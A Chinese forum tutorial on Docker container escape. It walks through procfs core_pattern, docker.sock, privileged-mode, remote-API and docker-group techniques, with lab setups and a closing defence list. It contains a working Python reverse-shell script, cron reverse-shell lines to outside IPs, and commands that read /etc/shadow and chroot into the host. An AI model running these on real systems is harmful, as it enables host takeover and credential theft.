找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

4726

积分

0

好友

629

主题
发表于 3 小时前 | 查看: 2| 回复: 0

和基础的后渗透思路一样,在获取 Docker 容器的权限后,我们需要对容器环境进行信息搜集,判断是否存在满足 Docker 逃逸的条件。Docker 相关的安全风险也更多集中在容器逃逸方面。

一、判断是否为容器环境

可以通过查看 cgroup 信息等方法来判断。不过查看 cgroup 目录的方法似乎只对 cgroup v1 有效,所以推荐使用查看根目录 .dockerenv 文件的方法:

执行ls -al /.dockerenv命令

确认.dockerenv文件存在

确认为容器环境之后,就可以查看是否具有满足逃逸的条件了。接下来将从基础概念、环境搭建、信息搜集、漏洞利用等方面,记录几种常见的 Docker 逃逸手法。当然,如果追求效率,也可以使用开源的自动检测脚本。

项目地址:https://github.com/teamssix/container-escape-check

二、挂载宿主机 procfs 逃逸

基础概念

procfs (/proc) 是一个伪文件系统,反映了系统内进程以及其他组件的状态,其中包含很多敏感文件。

user namespace 是 Linux 的一项安全功能,允许在容器中映射和隔离用户 ID。

而在容器内默认启用 root 权限,且默认没有开启 User Namespace 时,容器中的 root 用户与宿主机的 root 用户 UID 会一致(均为 0)。在这种情况下,如果将宿主机的 procfs 挂载到不受控的容器中,则可能导致容器逃逸。这里运用到一个技巧:

从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 |,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。

环境搭建

创建容器并挂载宿主机的 /proc/sys/kernel/core_pattern 文件:

docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

搭建完毕。

信息搜集

如果发现了两个 core_pattern 文件,则可能就是挂载了宿主机的 procfs:

find / -name core_pattern

查找core_pattern文件

漏洞利用

  1. 找到当前容器在宿主机下的绝对路径:
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

查找工作目录路径

可以看到绝对路径为 /var/lib/docker/overlay2/8c1a0695756000c2afc1ba95bf605dda88027b937c937e8f2527b597447f37ac/work

显示宿主机路径

  1. 安装必要的工具:
apt-get update -y && apt-get install vim gcc -y
  1. 创建一个 Python 脚本用于反弹 shell:
#!/usr/bin/python3
import os
import pty
import socket

lhost = "xx.xx.xx.xx"
lport = 7777

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", "/dev/null")
    pty.spawn("/bin/bash")
    # os.remove('/tmp/.shell.py')
    s.close()

if __name__ == "__main__":
    main()

Python反弹shell脚本代码

赋予脚本执行权限:

chmod 777 .shell.py
  1. 将脚本路径写入宿主机 /proc/sys/kernel/core_pattern
echo -e "|/var/lib/docker/overlay2/8c1a0695756000c2afc1ba95bf605dda88027b937c937e8f2527b597447f37ac/merged/tmp/.shell.py \rcore    " >  /host/proc/sys/kernel/core_pattern

写入core_pattern文件

  1. 在攻击机上开启监听。接下来只需要让容器崩溃触发 core dump 即可执行反弹 shell 脚本。编写一个使程序崩溃的 C 代码:
#include<stdio.h>
int main(void) { int *a = NULL; *a = 1; return 0; }

导致段错误的C语言代码

编译并执行:

gcc .crash.c -o .crash
./.crash

执行崩溃程序触发Segmentation fault

执行后,宿主机 /proc/sys/kernel/core_pattern 中写入的 .shell.py 脚本会被执行。

  1. 成功在攻击机监听到宿主机的反弹 shell:

收到宿主机反弹shell的连接

至此,我们完成了一次利用挂载宿主机 procfs 实现的容器逃逸。这类问题在安全/渗透/逆向实践中需要特别注意。

三、挂载 Docker Socket 逃逸

基础概念

Docker Socket (/var/run/docker.sock) 是 Docker 守护进程 (dockerd) 与客户端(如 Docker CLI、Docker API)之间的主要通信接口。

若容器内部挂载了宿主的 /var/run/docker.sock 文件,就相当于获得了 Docker CLI 的完全访问权限。通过 Docker API,可以在容器内部直接管理宿主机上的 Docker 进程,最终导致容器逃逸。

环境搭建

  1. 创建容器并挂载 /var/run/docker.sock 文件:
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
  1. 进入容器并安装 Docker 命令行客户端:
docker exec -it with_docker_sock /bin/bash
apt-get update
apt-get install curl
#官网
curl -fsSL https://get.docker.com/ | sh
#阿里云镜像
curl -fsSL https://get.docker.com -o install-docker.sh
sh install-docker.sh --mirror Aliyun

在容器内安装Docker客户端

至此,环境搭建完毕。

信息搜集

直接检查是否存在 /var/run/docker.sock 文件:

ls -lah /var/run/docker.sock

若文件存在且容器内用户有访问权限,则可能存在该风险。

检查docker.sock文件权限

漏洞利用

在容器内部,利用挂载的 Docker Socket 创建一个新的容器,并将宿主机根目录挂载到新容器内部:

docker run -it -v /:/host ubuntu /bin/bash

此时可以发现 /host 目录就是宿主机的根目录:

查看挂载的宿主机目录

然后通过 chroot 命令切换根目录,即完成逃逸:

chroot /host

chroot到宿主机根目录

四、privileged 特权模式逃逸

基础知识

当 Docker 容器以 --privileged 模式启动时,会获得大量额外权限,包括:

  • 完全设备访问权限:可访问宿主机所有设备(如 /dev/sda, /dev/vda, /dev/tty 等)。
  • 绕过 Linux Capabilities 限制:默认容器仅保留部分权限,特权模式赋予容器所有 Capabilities(包括 CAP_SYS_ADMIN)。
  • 禁用安全隔离机制:包括 Seccomp、AppArmor/SELinux 的部分限制。

在这种情况下,就有可能将宿主机文件系统挂载到容器内部,从而造成逃逸。

环境搭建

  1. 准备一个普通用户 yuy0ung 并将其加入 docker 组(模拟有权限运行 Docker 但非 root 的用户):
sudo useradd -m -s /bin/bash yuy0ung
sudo passwd yuy0ung
sudo usermod -aG docker yuy0ung
su - yuy0ung

创建用户并加入docker组

确认用户组信息

  1. 以普通用户身份,使用 --privileged=true 创建一个特权容器:
docker run --rm --privileged=true -it alpine

至此,环境搭建完毕。

信息搜集

判断是否为特权模式:

cat /proc/self/status | grep CapEff

如果容器是以特权模式启动,CapEff 对应的掩码值通常为 0000003fffffffff0000001fffffffff

查看CapEff值确认特权模式

可见容器确实是特权模式启动。

漏洞利用

方法一:挂载宿主机磁盘

  1. 查看宿主机磁盘设备:
fdisk -l

使用fdisk查看磁盘分区

可以看到有一个 39.8G 的磁盘 /dev/vda3,这就是宿主机的文件系统。

  1. 将其挂载到容器内的 /test 目录:
mkdir /test && mount /dev/vda3 /test

此时已经成功挂载宿主机根目录到 /test

列出挂载的宿主机文件系统

  1. 现在可以读取或写入宿主机任意文件。例如,读取其他用户的 shadow 哈希:
cat /test/etc/shadow | grep yuy0ung

读取宿主机shadow文件

  1. 也可以写入定时任务来反弹 shell(需替换 IP 和端口):
echo '* * * * * root /bin/bash -c "sh -i >& /dev/tcp/47.94.106.5/7777 0>&1"' >> /test/etc/crontab

向宿主机crontab写入反弹shell命令

等待一分钟后,成功监听到宿主机 root 权限的反弹 shell:

收到来自宿主机的root shell

至此,成功逃逸。

方法二:直接 chroot
由于已将宿主机根目录挂载到了 /test,且容器 shell 本身是 root 权限,可以直接 chroot/test 切换为根目录:

chroot /test

通过chroot完全切换到宿主机环境

当然,拥有如此高权限后,操作方法不仅限于此,例如可以直接添加新的 root 权限用户等。

五、Docker 远程 API 未授权访问逃逸

基础知识

Docker Remote API 可以执行 Docker 命令。若因配置错误将其暴露在公网,攻击者可通过远程调用 Docker API 直接管理目标服务器的容器,进而导致逃逸。

环境搭建

将 Docker 守护进程监听在 0.0.0.0危险操作,仅用于测试):

dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

确保防火墙开放了 2375 端口。

至此,环境搭建完毕。

信息搜集

  1. 直接访问目标服务器的 2375 端口(如 http://x.x.x.x:2375/version),若返回 Docker 版本等信息,则表明 API 可访问。
    访问Docker API返回错误页面

  2. 或者,在本地使用 Docker 客户端尝试远程调用该 API:

docker -H tcp://x.x.x.x:2375 images

远程调用Docker API列出镜像

如果能成功列出镜像,则漏洞存在。

漏洞利用

此时,攻击者相当于可以任意控制目标服务器的 Docker。可以运行一个新容器,并将宿主机的根目录挂载到容器内:

docker -H tcp://xx.xx.xx.xx:2375 run -it -v /:/yuy0ung nginx:latest /bin/bash

通过远程API创建挂载宿主机根目录的容器

接下来的思路就和前面类似了:

  • chroot 逃逸:直接在容器内执行 chroot /yuy0ung
    在新容器内chroot到宿主机
  • 写定时任务:在容器内向 /yuy0ung/etc/crontab 写入反弹 shell 命令。
echo '* * * * * root /bin/bash -c "sh -i >& /dev/tcp/xx.xx.xx.xx/7777 0>&1"' >> /yuy0ung/etc/crontab

通过定时任务收到宿主机shell

至此成功获取宿主机权限。这类未授权访问问题是云原生/IaaS环境中最常见的安全隐患之一。

六、内核漏洞逃逸

简单来说,如果宿主机内核存在可利用的提权漏洞,那么容器就有可能利用该漏洞突破隔离,实现逃逸。这是因为 Docker 容器与宿主机共享内核。

这些内核漏洞通常以 CVE 编号发布,以经典的 CVE-2016-5195(脏牛 Dirty Cow)为例。其利用方法与在宿主机上进行本地提权相似。之所以能实现逃逸,正是因为 Docker 与宿主机共享内核。要触发这类漏洞,需要宿主机本身存在对应的漏洞内核。

除了脏牛,历史上还有许多内核漏洞可导致容器逃逸,例如:

  • CVE-2019-16884
  • CVE-2021-3493
  • CVE-2021-22555
  • CVE-2022-0492
  • CVE-2022-0847
  • CVE-2022-23222

这类漏洞的防御依赖于及时更新宿主机内核,这也是运维 & 测试工作中基础安全加固的重要一环。

七、Docker 用户组提权

此技巧严格来说属于 Linux 提权范畴,但因涉及 Docker 权限滥用并可能导致逃逸,故在此记录。

基础概念

Docker 守护进程 (dockerd) 默认需要 root 权限运行。但它有一个特性:任何属于 docker 用户组的用户,都可以通过 Docker CLI 与守护进程通信,从而间接拥有 root 级别的访问权限(因为可以通过 Docker 启动特权容器或挂载敏感目录)。

环境搭建

使用前面已创建的、加入了 docker 组的普通用户 yuy0ung 进行复现:

su - yuy0ung

切换到docker组用户

至此,环境搭建完毕。

信息搜集

确认当前用户是否在 docker 组中:

id
groups

确认用户所在的组包含docker

确认用户在 docker 组中,即可尝试提权。

漏洞利用

可以直接拉取一个专门用于此类提权的镜像(如 chrisfosterelli/rootplease),其原理就是自动运行一个挂载了宿主机根目录的容器并执行 chroot

docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease

使用提权镜像直接获取宿主机root shell

执行后,直接获得了宿主机 root 权限的 shell,实现了从普通用户到宿主机 root 的提权与逃逸。

八、针对 Docker 逃逸的防御措施

针对上述提到的各种逃逸手法,可以采取如下防御措施:

  • 及时更新:保持 Docker 引擎和宿主机内核为最新版本。
  • 遵循最小权限原则
    • 非必要不使用 --privileged 标志。
    • 使用 --cap-drop=ALL--cap-add 仅添加容器运行必需的 Linux Capabilities。
  • 使用非 root 用户运行容器:尽量在启动容器时使用 --user 选项指定非特权用户。
  • 谨慎处理挂载
    • 避免直接挂载宿主机敏感目录(如 /, /proc, /var/run/docker.sock)。
    • 使用 Docker 数据卷 (volumes) 或绑定挂载时,严格限制路径和权限。
  • 启用用户命名空间隔离:考虑启用 Docker 的 userns-remap 功能,将容器内的 root 用户映射到宿主机上的非 root 用户。
  • 保护 Docker 守护进程
    • 禁止将 Docker Socket (/var/run/docker.sock) 挂载到容器中。
    • 切勿将 Docker API 配置为监听在公网 IP (0.0.0.0) 上。若需远程管理,应通过 SSH 隧道或配置 TLS 客户端证书认证。
  • 审计用户组:严格控制被加入 docker 组的用户,仅限必要的运维人员。

参考链接
https://wiki.teamssix.com/CloudNative/

安全是一个持续对抗的过程,了解攻击手法是为了更好地进行防御。如果你对云原生环境下的攻防技术有更多兴趣,欢迎在技术社区如云栈社区进行深入的交流与探讨。




上一篇:权限架构设计指南:主流模型(RBAC/ABAC)对比与开源方案选型
下一篇:IPv4网段核心概念:从分类寻址到CIDR的演进与子网掩码计算
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-4-8 08:57 , Processed in 0.591774 second(s), 42 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表